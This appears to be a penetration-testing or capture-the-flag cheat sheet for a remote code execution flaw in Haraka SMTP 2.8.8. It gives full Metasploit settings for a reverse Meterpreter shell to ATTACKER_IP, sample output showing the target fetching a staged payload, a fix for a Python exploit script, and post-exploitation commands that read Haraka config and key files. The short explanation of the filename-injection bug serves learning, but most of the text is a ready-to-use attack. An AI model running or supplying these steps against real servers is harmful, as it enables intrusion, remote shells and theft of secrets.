Haraka SMTP

Haraka is a Node.js SMTP server. Versions <= 2.8.8 with the attachment plugin enabled are vulnerable to RCE.

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Discovery

# Haraka typically runs on port 25 or 1025
nc TARGET 1025
# 220 redcross ESMTP Haraka 2.8.8 ready

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CVE: Haraka < 2.8.9 RCE via Attachment Plugin

Affected Versions: Haraka <= 2.8.8 with attachment plugin enabled

CVE: Not officially assigned, but tracked in Haraka GitHub PR #1606

Exploit - Metasploit Module

More reliable than the Python script.

msfconsole

use exploit/linux/smtp/haraka
set RHOST TARGET
set RPORT 1025
set EMAIL_FROM [email protected]
set EMAIL_TO [email protected]
set SRVHOST ATTACKER_IP
set SRVPORT 8080
set LHOST ATTACKER_IP
set LPORT 9002
set PAYLOAD linux/x64/meterpreter/reverse_tcp

exploit

Example successful output:

[*] Started reverse TCP handler on ATTACKER_IP:9002
[*] Exploiting...
[*] Using URL: http://ATTACKER_IP:8080/xwO7s0Jy5gWD
[*] Sending mail to target server...
[*] Client TARGET (Wget/1.20.1 (linux-gnu)) requested /xwO7s0Jy5gWD
[*] Sending payload to TARGET
[*] Sending stage (3090404 bytes) to TARGET
[*] Meterpreter session 1 opened

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How the Exploit Works

1. Exploit sends an email with a malicious ZIP attachment

2. The ZIP filename contains shell metacharacters

3. When Haraka's attachment plugin processes the ZIP, it executes the filename as a command

4. This allows arbitrary command execution as the Haraka service user

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Troubleshooting

Python exploit errors:

# If you see socket errors, modify haraka.py line 94
# Change port from 25 to the actual Haraka port
s = smtplib.SMTP(mailserver, 1025)  # Changed from default 25

Metasploit module fails:

• Ensure your IP is whitelisted if a firewall is blocking connections

• Try different payload types (staged vs stageless)

• Check if wget/curl is available on target

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Post-Exploitation

Haraka runs as a specific user (often penelope, haraka, or mail).

# Check current user
whoami

# Find Haraka config for additional info
find / -name "haraka" -type d 2>/dev/null
cat /home/*/haraka/config/smtp.ini
cat /home/*/haraka/config/internalcmd_key

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References

• https://www.exploit-db.com/exploits/41162

• https://github.com/haraka/Haraka/pull/1606

• https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/linux/smtp/haraka.md